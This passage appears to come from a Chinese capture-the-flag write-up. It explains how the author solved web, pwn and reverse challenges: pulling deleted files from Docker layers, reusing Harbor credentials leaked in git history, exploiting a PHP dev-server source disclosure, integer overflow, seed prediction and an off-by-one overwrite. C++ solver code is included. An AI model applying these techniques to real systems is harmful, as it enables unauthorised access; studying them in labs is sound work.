src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_cb485c86788762e43565e5c112eb2f09.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_cb485c86788762e43565e5c112eb2f09.png?width=1920" srcset="/loading.gif" alt=""></p><p>拉取下来之后，创建容器，发现并没有 flag。看了眼构建过程发现先是添加了<code>flag.txt</code>然后又把它删了。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_85f674571a8326b76d304d4a369fe3cf.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_85f674571a8326b76d304d4a369fe3cf.png?width=1920" srcset="/loading.gif" alt=""></p><p>不过这一举动毫无意义，因为 Docker 镜像实际上是层状结构，每一个构建步骤都对应着一层，因此只要把含有 <code>flag.txt</code> 的那一层提取出来即可。通过 <code>docker save -o docker.tar.gz &lt;IMAGE_ID&gt;</code> 获得一个压缩包，里面含有每一层的信息，解压后找到了 <code>flag.txt</code>。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_ea63fb673362aff2e0c9a63d6fa71a84.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_ea63fb673362aff2e0c9a63d6fa71a84.png?width=1920" srcset="/loading.gif" alt=""></p><h3 id="exsecurity_flag_h"><a class="markdownIt-Anchor" href="#exsecurity_flag_h"></a> exsecurity_flag_h</h3><p>访问主页 <a href="https://www.exsecurity.top/">https://www.exsecurity.top/</a>，按下 F12 看到 Hint。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_ec2b68cc4b5c39d9c6b7bed1e7efa7f4.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_ec2b68cc4b5c39d9c6b7bed1e7efa7f4.png?width=1920" srcset="/loading.gif" alt=""></p><p>同时我注意到这个网站居然使用的是 Parcel Development Server，哪个正经的生产环境会直接 <code>yarn start</code> 啊，不应该先打包编译出静态文件然后交给专门的生产服务器吗？</p><p>然后就在源代码选项卡看到了 <code>__parcel_source_root</code>，好家伙源代码直接爆出来了。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_be0f11e9e8ab7e1e478e846ee9537127.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_be0f11e9e8ab7e1e478e846ee9537127.png?width=1920" srcset="/loading.gif" alt=""></p><p>那么根据 Hint 访问 <code>https://www.exsecurity.top/__parcel_source_root/flag_h.txt</code> 即可。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_885ac1c4af011906fca6c5e2b231476f.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_885ac1c4af011906fca6c5e2b231476f.png?width=1920" srcset="/loading.gif" alt=""></p><h3 id="exsecurity_flag_s"><a class="markdownIt-Anchor" href="#exsecurity_flag_s"></a> exsecurity_flag_s</h3><p>在 exsecurity_flag_r 那道题发现了隐藏的 Harbor，当时只拉取了 <code>flag_r</code> 镜像，这次把 <code>homepage/corp</code> 镜像也拉下来看看有没有什么特别的地方。</p><p>构建历史里似乎没什么特别的，涉及到的 flag 也是 flag_h，那么在本地创建一个容器进去看看。注意到这个网页用的是一个开源项目，于是在 GitHub 上找到<a href="https://github.com/cobiwave/simplefolio">原始的项目</a>，和容器内的文件进行了比对，发现只多了 <code>Dockerfile</code>、<code>flag_h.txt</code> 和 <code>.gitlab-ci.yml</code> 三个文件。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_3709a3c82d968c960e451adbb55bc5d9.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_3709a3c82d968c960e451adbb55bc5d9.png?width=1920" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_c4ff647c728ad322a2a20e44831cc03d.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_c4ff647c728ad322a2a20e44831cc03d.png?width=1920" srcset="/loading.gif" alt=""></p><p>注意到镜像内保留了 <code>.git</code>，尝试 <code>git log</code> 了一下成功看到了 Git 日志。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_e9e97517e789f9e7f6e5a90af7f250aa.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_e9e97517e789f9e7f6e5a90af7f250aa.png?width=1920" srcset="/loading.gif" alt=""></p><p>似乎依然没啥特别的，就是在原始仓库的基础上多了两个 commit。但是如果你细看一下每个 commit 的文件改动记录，就能发现端倪。</p><p>我们看一下 <code>b7986a</code> 这个 commit 的详细信息：</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_e576bc677656f794246c083251d74d96.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_e576bc677656f794246c083251d74d96.png?width=1920" srcset="/loading.gif" alt=""></p><p>没错，从中我们可以看出 <code>.gitlab-ci.yml</code> 和 <code>Dockerfile</code> 这两个文件并不是在这个 commit 中才添加的，而是早就已经存在于这个镜像内的仓库中了，这与 GitHub 上的原始仓库并不一致。</p><p>那么自然就想到去看一看这两个文件究竟是什么时候被添加进来的。通过 Git 操作镜像内的仓库回退到了最初的版本，发现并没有这两个文件，说明是在中间某处被添加的，需要往近处再翻找一下，最后在 <code>f5d21b</code> 版本发现了问题。</p><p>通过 <code>git checkout f5d21b</code>，看一下此时的 <code>.gitlab-ci.yml</code>，果然看到了敏感信息，是供 CI 登录 Harbor 的账号密码。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_ac49197f653b5062a90650e6a80d62a6.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_ac49197f653b5062a90650e6a80d62a6.png?width=1920" srcset="/loading.gif" alt=""></p><p>那么拿着这个账号密码去 <code>https://registry-intra-idc.exsecurity.top/</code> 登录一下即可看到私有的 <code>flag_s</code>。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_a42ca1a2b39cc2bb4c3f5b9945ea7f82.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_a42ca1a2b39cc2bb4c3f5b9945ea7f82.png?width=1920" srcset="/loading.gif" alt=""></p><p>然后用和 flag_r 相同的办法拉取下来，提取出含有 <code>flag.txt</code> 的那一层即可。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_9023a1e8bed906f118f3fba005c7ab84.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_9023a1e8bed906f118f3fba005c7ab84.png?width=1920" srcset="/loading.gif" alt=""></p><p>（说起来这道题竟然只有我做出来了？！）</p><h3 id="baby-php"><a class="markdownIt-Anchor" href="#baby-php"></a> baby php</h3><p>直接给出了源代码，一看这怎么可能拿到 flag 嘛，想让 <code>1===0</code> 成立根本就不可能吧。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_4a1590580e576ec5bf9ccc8b3d99b049.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_4a1590580e576ec5bf9ccc8b3d99b049.png?width=1920" srcset="/loading.gif" alt=""></p><p>那么唯一的线索就是 PHPINFO 了，既然主动呈现给我们了那必有蹊跷。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_6a88a81de7a819bb0a533e36f05c1535.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_6a88a81de7a819bb0a533e36f05c1535.png?width=1920" srcset="/loading.gif" alt=""></p><p>果然，Server API 那一栏写的是 Built-in HTTP Server，说明这个站点用的是 PHP Development Server，又一个拿开发环境当生产环境的。结合 PHP 7.4.21 以及 PHP Development Server 作为关键词进行检索，发现了 <a href="https://blog.projectdiscovery.io/php-http-server-source-disclosure/">PHP Development Server &lt;= 7.4.21 - Remote Source Disclosure</a> 这个漏洞。按照提供的 POC，使用 Burp Suite 复现一下即可拿到 <code>flag.php</code> 源代码。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_38c7804c6aaf4a9b1f5d5f5e181af569.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_38c7804c6aaf4a9b1f5d5f5e181af569.png?width=1920" srcset="/loading.gif" alt=""></p><p>（注意把 Update Content-Length 去掉）</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_4a913edecfe2712b3eaed52e86a84ef7.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_4a913edecfe2712b3eaed52e86a84ef7.png?width=1920" srcset="/loading.gif" alt=""></p><h2 id="pwnable"><a class="markdownIt-Anchor" href="#pwnable"></a> Pwnable</h2><h3 id="简单的rpg1"><a class="markdownIt-Anchor" href="#简单的rpg1"></a> 简单的RPG1</h3><p>显然无论选择1还是2都是死路一条，那么根据 <code>chall.c</code> 文件内 <code>stage1()</code> 函数中的这段代码</p><pre><code class="hljs cpp"><span class="hljs-keyword">while</span>(<span class="hljs-number">1</span>){    choice = <span class="hljs-built_in">getchar</span>();    <span class="hljs-keyword">if</span>((choice^(status*<span class="hljs-number">9</span>)^<span class="hljs-number">0x86</span>) == stage1key[status]){        status++;        <span class="hljs-keyword">if</span>(status==<span class="hljs-built_in">sizeof</span>(stage1key))<span class="hljs-keyword">break</span>;    }    <span class="hljs-keyword">else</span> status=<span class="hljs-number">0</span>;    <span class="hljs-keyword">if</span>(choice == <span class="hljs-string">'1'</span> || choice == <span class="hljs-string">'2'</span>)<span class="hljs-keyword">break</span>;}</code></pre><p>写个 C++ 程序爆破一下能够跳出这段循环的输入序列。</p><pre><code class="hljs cpp"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;bits/stdc++.h&gt;</span></span><span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> std;<span class="hljs-type">unsigned</span> <span class="hljs-type">char</span> stage1key[] = {<span class="hljs-number">157</span>, <span class="hljs-number">212</span>, <span class="hljs-number">213</span>, <span class="hljs-number">134</span>, <span class="hljs-number">249</span>, <span class="hljs-number">234</span>, <span class="hljs-number">171</span>, <span class="hljs-number">226</span>, <span class="hljs-number">140</span>, <span class="hljs-number">204</span>,                             <span class="hljs-number">135</span>, <span class="hljs-number">167</span>, <span class="hljs-number">241</span>, <span class="hljs-number">168</span>, <span class="hljs-number">188</span>, <span class="hljs-number">26</span>,  <span class="hljs-number">77</span>,  <span class="hljs-number">92</span>,  <span class="hljs-number">63</span>,  <span class="hljs-number">118</span>,                             <span class="hljs-number">118</span>, <span class="hljs-number">32</span>,  <span class="hljs-number">27</span>,  <span class="hljs-number">10</span>,  <span class="hljs-number">60</span>,  <span class="hljs-number">6</span>,   <span class="hljs-number">14</span>,  <span class="hljs-number">20</span>};<span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{  <span class="hljs-type">char</span> choice;  <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-built_in">sizeof</span>(stage1key); i++) {    <span class="hljs-keyword">for</span> (<span class="hljs-type">char</span> choice = <span class="hljs-number">0</span>; choice &lt;= <span class="hljs-number">255</span>; choice++) {      <span class="hljs-keyword">if</span> ((choice ^ (i * <span class="hljs-number">9</span>) ^ <span class="hljs-number">0x86</span>) == stage1key[i]) {        cout &lt;&lt; (<span class="hljs-type">int</span>)choice &lt;&lt; <span class="hljs-string">" "</span>;        <span class="hljs-keyword">break</span>;      }    }  }  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;}</code></pre><p>得到正确的输入序列是 <code>27 91 65 27 91 65 27 91 66 27 91 66 27 91 68 27 91 67 27 91 68 27 91 67 98 97 98 97</code>，对照一下 ASCII 码表输入即可。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_84caf824f3705a0f7da36b2712568092.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_84caf824f3705a0f7da36b2712568092.png?width=1920" srcset="/loading.gif" alt=""></p><h3 id="简单的rpg2"><a class="markdownIt-Anchor" href="#简单的rpg2"></a> 简单的RPG2</h3><p>过关的条件是必须购买圣剑且力量&gt;10000，只有这么点钱根本就不可能做到嘛。</p><p>好在购买树枝的这段代码有点问题。</p><pre><code class="hljs cpp">num=<span class="hljs-built_in">atoi</span>(input_buff);cost=num*<span class="hljs-number">50</span>;<span class="hljs-built_in">setcursor</span>((windowX/<span class="hljs-number">5</span>)*<span class="hljs-number">3</span>+<span class="hljs-number">13</span>,windowY/<span class="hljs-number">2</span><span class="hljs-number">-10</span>);<span class="hljs-keyword">if</span>(num&lt;=<span class="hljs-number">0</span> || cost &lt;=<span class="hljs-number">0</span>){    <span class="hljs-built_in">puts</span>(<span class="hljs-string">"投机取巧是不行的哦"</span>);}<span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(money&lt;cost){    <span class="hljs-built_in">puts</span>(<span class="hljs-string">"金钱不足"</span>);}<span class="hljs-keyword">else</span>{    power+=num;    money-=cost;    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"获得了%d个树枝，好划算\n"</span>,num);}</code></pre><p>只要我们输入一个足够大的正整数 <code>num</code> ，使得 <code>num*50</code> 超过 <code>int</code> 类型的上界发生溢出，且溢出很多使得 <code>cost</code> 依然为正但小于 <code>money</code>，那么就不会出现钱不够的情况，而且还获得了巨大的力量。</p><p>比如85899346就符合条件，购买圣剑之后再购买85899346个树枝，即可拿到 flag。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_8f4a301b87be1e7a98a18aa2900c8af6.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_8f4a301b87be1e7a98a18aa2900c8af6.png?width=1920" srcset="/loading.gif" alt=""></p><h3 id="简单的rpg3"><a class="markdownIt-Anchor" href="#简单的rpg3"></a> 简单的RPG3</h3><p>第三关是个迷宫，不过每一步能不能似乎走对全靠运气，因为正确的方向是靠随机数生成的，每次都不一样，这可咋办？</p><p>不过看到 <code>srand(time(0)/10);</code> 瞬间就明白了，既然是拿当前的时间作为随机数种子，那么只要我保持本地时间和服务器时间一致，也拿同样的种子，即可预测生成的随机数序列，每一步该咋走也就清楚了。</p><pre><code class="hljs cpp"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;bits/stdc++.h&gt;</span></span><span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> std;<span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{  <span class="hljs-built_in">srand</span>(<span class="hljs-built_in">time</span>(<span class="hljs-number">0</span>) / <span class="hljs-number">10</span>);  <span class="hljs-type">char</span> tab[<span class="hljs-number">4</span>] = {<span class="hljs-string">'W'</span>, <span class="hljs-string">'A'</span>, <span class="hljs-string">'S'</span>, <span class="hljs-string">'D'</span>};  <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">10</span>; i++) cout &lt;&lt; tab[<span class="hljs-built_in">rand</span>() % <span class="hljs-number">4</span>];  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;}</code></pre><p>根据生成的序列走即可，注意手速要快，不能和服务器时间差太多，然后就拿到 flag 了。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_810d3332259721b5ed712d4b29766b21.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_810d3332259721b5ed712d4b29766b21.png?width=1920" srcset="/loading.gif" alt=""></p><h3 id="简单的rpg4"><a class="markdownIt-Anchor" href="#简单的rpg4"></a> 简单的RPG4</h3><p>这关开始不提供源代码了，不过拖进 IDA 逆向一下就可以了。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_ee89f63ed6e347c4a70bd3dfb10a3c32.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_ee89f63ed6e347c4a70bd3dfb10a3c32.png?width=1920" srcset="/loading.gif" alt=""></p><p>读了下伪代码发现本意是想让我们在 <code>your_deck/</code> 目录下选择一个怪兽和抓根宝战斗，然而都试了一遍发现 <code>your_deck/</code> 目录下提供给我们的怪兽都弱爆了，根本打不过。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_1283dfd6aff9ce446c7ba26e82c82d14.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_1283dfd6aff9ce446c7ba26e82c82d14.png?width=1920" srcset="/loading.gif" alt=""></p><p>不过没关系，自己的牌不好那就直接抢对手的牌，只需要召唤 <code>your_deck/.../opp_deck/Dragonmaid_Strahl</code> 就搞定了。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_3488c0cd2ca3e7f15bdd4481bcf27ada.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_3488c0cd2ca3e7f15bdd4481bcf27ada.png?width=1920" srcset="/loading.gif" alt=""></p><p>顺利拿到 flag。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_1bfe700a85654932f02e0ec7783f2e40.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_1bfe700a85654932f02e0ec7783f2e40.png?width=1920" srcset="/loading.gif" alt=""></p><h3 id="简单的rpg5"><a class="markdownIt-Anchor" href="#简单的rpg5"></a> 简单的RPG5</h3><p>走迷宫，作为一个 ex-OIer 上来就是一个 DFS，然而根本搜不出路，看来是故意这样设计的，根本就到不了终点。</p><p>拖进 IDA 分析代码逻辑，发现确实是严格按照用户的输入一步一步走，判断是否撞墙，拿到 flag 的前置条件也确实必须走到终点，似乎找不到突破口。</p><p>仔细观察一下，发现我们的输入被 <code>scanf()</code> 限制了长度为512，存储到了 <code>byte_40C0[]</code> 这个数组里。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_9bf15c27ba73ed223594f8d183df675c.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_9bf15c27ba73ed223594f8d183df675c.png?width=1920" srcset="/loading.gif" alt=""></p><p>再看看 <code>getbit()</code> 函数的实现，发现迷宫的地图数据竟然也存储在 <code>byte_40C0[]</code> 这个数组，只不过是在后半部分，有一个512的偏移量。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_073af580677ee253d1ddcfb84962bf8c.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_073af580677ee253d1ddcfb84962bf8c.png?width=1920" srcset="/loading.gif" alt=""></p><p>这不就有机可乘了嘛。要知道 C 语言中读入一个长度为512的字符串，占用的空间可不是512而是513，因为最后一位是个 <code>\0</code>，代表字符串结束。这也就意味着如果我们输入的路径有512步，那么地图数据将被篡改，左上角的围墙会消失。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_de662e6f5b0737287b9a1358ad6c9914.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_de662e6f5b0737287b9a1358ad6c9914.png?width=1920" srcset="/loading.gif" alt=""></p><p>这就为我们打开了一条由 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mn>1</mn><mo separator="true">,</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(1,1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span> 走向 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mn>1</mn><mo separator="true">,</mo><mn>7</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(1,7)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord">7</span><span class="mclose">)</span></span></span></span> 的通路，跑了下 DFS 从 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mn>1</mn><mo separator="true">,</mo><mn>7</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(1,7)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord">7</span><span class="mclose">)</span></span></span></span> 到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mn>49</mn><mo separator="true">,</mo><mn>99</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(49,99)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">4</span><span class="mord">9</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord">9</span><span class="mord">9</span><span class="mclose">)</span></span></span></span> 是通的，找到了路径。于是我们只要把两段路连起来，再有意增加一些来回移动，把路径的长度凑够512即可。</p><pre><code class="hljs ebnf"><span class="hljs-attribute">swswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswWDDDDDDSDDDDDDDDSSDDDDWWDDSSSSAASSSSDDSSDDWWDDWWAAWWDDDDWWDDWWDDDDDDDDSSSSSSDDSSSSAASSSSDDSSSSSSAAAAAAAAAAAAAASSSSSSSSSSAAAAAASSSSSSSSDDSSSSAASSSSDDSSDDDDDDDDDDDDDDWWDDDDDDDDSSDDDDDDWWDDDDDDSSDDDDDDDDWWWWDDDDSSDDSSDDDDWWWWWWWWDDDDSSDDSSSSSSDDDDWWDDDDDDDDDDDDDDSSDD</span></code></pre><p>（最前面的 <code>sw</code> 是来回移动用来凑长度的）</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_56d713646d97cc2511e9e9243add1ba4.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_56d713646d97cc2511e9e9243add1ba4.png?width=1920" srcset="/loading.gif" alt=""></p><h2 id="reverse"><a class="markdownIt-Anchor" href="#reverse"></a> Reverse</h2><h3 id="endless"><a class="markdownIt-Anchor" href="#endless"></a> Endless</h3><p>尝试直接运行程序发现运行不了，拖进 IDA 里看一眼竟然是个 PowerPC 程序，不过只要根据 IDA 反汇编的结果，把代码移植到 X86_64 就可以了吧。幸好程序并不复杂，很快就移植好了。</p><pre><code class="hljs cpp"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;bits/stdc++.h&gt;</span></span><span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> std;<span class="hljs-type">unsigned</span> <span class="hljs-type">char</span> byte_100200B8[] = {<span class="hljs-number">0xFD</span>, <span class="hljs-number">0x58</span>, <span class="hljs-number">0xCB</span>, <span class="hljs-number">0xEE</span>, <span class="hljs-number">0x14</span>, <span class="hljs-number">0x87</span>, <span class="hljs-number">0xE6</span>,                                 <span class="hljs-number">0x90</span>, <span class="hljs-number">0xFC</span>, <span class="hljs-number">0x68</span>, <span class="hljs-number">0xCD</span>, <span class="hljs-number">0xF4</span>, <span class="hljs-number">0x08</span>, <span class="hljs-number">0x87</span>,                                 <span class="hljs-number">0xE9</span>, <span class="hljs-number">0x91</span>, <span class="hljs-number">0xED</span>, <span class="hljs-number">0x58</span>, <span class="hljs-number">0xD7</span>, <span class="hljs-number">0xEA</span>, <span class="hljs-number">0x08</span>,                                 <span class="hljs-number">0xB6</span>, <span class="hljs-number">0xE9</span>, <span class="hljs-number">0x9A</span>, <span class="hljs-number">0xE0</span>, <span class="hljs-number">0x54</span>, <span class="hljs-number">0xDC</span>, <span class="hljs-number">0x00</span>};<span class="hljs-function"><span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> <span class="hljs-type">long</span> <span class="hljs-title">sub_10000824</span><span class="hljs-params">(<span class="hljs-type">unsigned</span> <span class="hljs-type">int</span> a1)</span> </span>{  <span class="hljs-type">long</span> <span class="hljs-type">long</span> v1;            <span class="hljs-comment">// r10</span>  <span class="hljs-type">unsigned</span> <span class="hljs-type">int</span> i;          <span class="hljs-comment">// [sp+74h] [-2Ch]</span>  <span class="hljs-type">unsigned</span> <span class="hljs-type">int</span> j;          <span class="hljs-comment">// [sp+78h] [-28h]</span>  <span class="hljs-type">long</span> <span class="hljs-type">long</span> v5;            <span class="hljs-comment">// [sp+80h] [-20h]</span>  <span class="hljs-type">long</span> <span class="hljs-type">long</span> v6;            <span class="hljs-comment">// [sp+80h] [-20h]</span>  <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> <span class="hljs-type">long</span> *v7;  <span class="hljs-comment">// [sp+88h] [-18h]</span>  v7 = <span class="hljs-keyword">new</span> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> <span class="hljs-type">long</span>[<span class="hljs-number">100000</span>];  v5 = <span class="hljs-number">0LL</span>;  <span class="hljs-keyword">if</span> (a1 &lt;= <span class="hljs-number">0xE8</span>) {    v6 = (a1 + <span class="hljs-number">1337</span>) * a1 + <span class="hljs-number">7331</span>;  } <span class="hljs-keyword">else</span> {    <span class="hljs-keyword">for</span> (i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">0xE9</span>; ++i) {      v7[i] = <span class="hljs-built_in">sub_10000824</span>(a1 - i - <span class="hljs-number">1</span>);      <span class="hljs-keyword">if</span> ((i &amp; <span class="hljs-number">1</span>) != <span class="hljs-number">0</span> &amp;&amp; i != <span class="hljs-number">232</span>) v7[i] = v7[i - <span class="hljs-number">1</span>] - v7[i];    }    <span class="hljs-keyword">for</span> (j = <span class="hljs-number">0</span>; j &lt; <span class="hljs-number">0xE8</span>; ++j) {      <span class="hljs-keyword">if</span> ((j &amp; <span class="hljs-number">1</span>) != <span class="hljs-number">0</span>)        v1 = v7[j] * v7[j];      <span class="hljs-keyword">else</span>        v1 = v7[j];      v5 += v1;    }    v6 = v5 + <span class="hljs-number">2023LL</span> * v7[<span class="hljs-number">232</span>];  }  <span class="hljs-keyword">delete</span> v7;  <span class="hljs-keyword">return</span> v6;}<span class="hljs-type">char</span> ans[<span class="hljs-number">10000</span>];<span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{  <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> <span class="hljs-type">long</span> qword_100200E8 = <span class="hljs-built_in">sub_10000824</span>(<span class="hljs-number">0x7331</span>u);  <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> i = <span class="hljs-number">0</span>; i &lt;= <span class="hljs-number">0x1A</span>; ++i)    ans[i] = byte_100200B8[i] ^ ((<span class="hljs-type">unsigned</span> <span class="hljs-type">char</span> *)&amp;qword_100200E8)[i % <span class="hljs-number">8</span>];  cout &lt;&lt; ans &lt;&lt; endl;  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;}</code></pre><p>编译运行，结果发现程序卡住了，一直没有反应，难怪名字叫 Endless。不过作为一个 ex-OIer 一下子就发现了问题，<code>sub_10000824()</code> 是用递归实现的，涉及到了大量的重复计算，这能不慢吗？于是加了一个记忆化数组，优化了一下程序，总算能跑了。</p><pre><code class="hljs cpp"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;bits/stdc++.h&gt;</span></span><span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> std;<span class="hljs-type">unsigned</span> <span class="hljs-type">char</span> byte_100200B8[] = {<span class="hljs-number">0xFD</span>, <span class="hljs-number">0x58</span>, <span class="hljs-number">0xCB</span>, <span class="hljs-number">0xEE</span>, <span class="hljs-number">0x14</span>, <span class="hljs-number">0x87</span>, <span class="hljs-number">0xE6</span>,                                 <span class="hljs-number">0x90</span>, <span class="hljs-number">0xFC</span>, <span class="hljs-number">0x68</span>, <span class="hljs-number">0xCD</span>, <span class="hljs-number">0xF4</span>, <span class="hljs-number">0x08</span>, <span class="hljs-number">0x87</span>,                                 <span class="hljs-number">0xE9</span>, <span class="hljs-number">0x91</span>, <span class="hljs-number">0xED</span>, <span class="hljs-number">0x58</span>, <span class="hljs-number">0xD7</span>, <span class="hljs-number">0xEA</span>, <span class="hljs-number">0x08</span>,                                 <span class="hljs-number">0xB6</span>, <span class="hljs-number">0xE9</span>, <span class="hljs-number">0x9A</span>, <span class="hljs-number">0xE0</span>, <span class="hljs-number">0x54</span>, <span class="hljs-number">0xDC</span>, <span class="hljs-number">0x00</span>};<span class="hljs-type">long</span> <span class="hljs-type">long</span> mem[<span class="hljs-number">100000</span>];<span class="hljs-function"><span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> <span class="hljs-type">long</span> <span 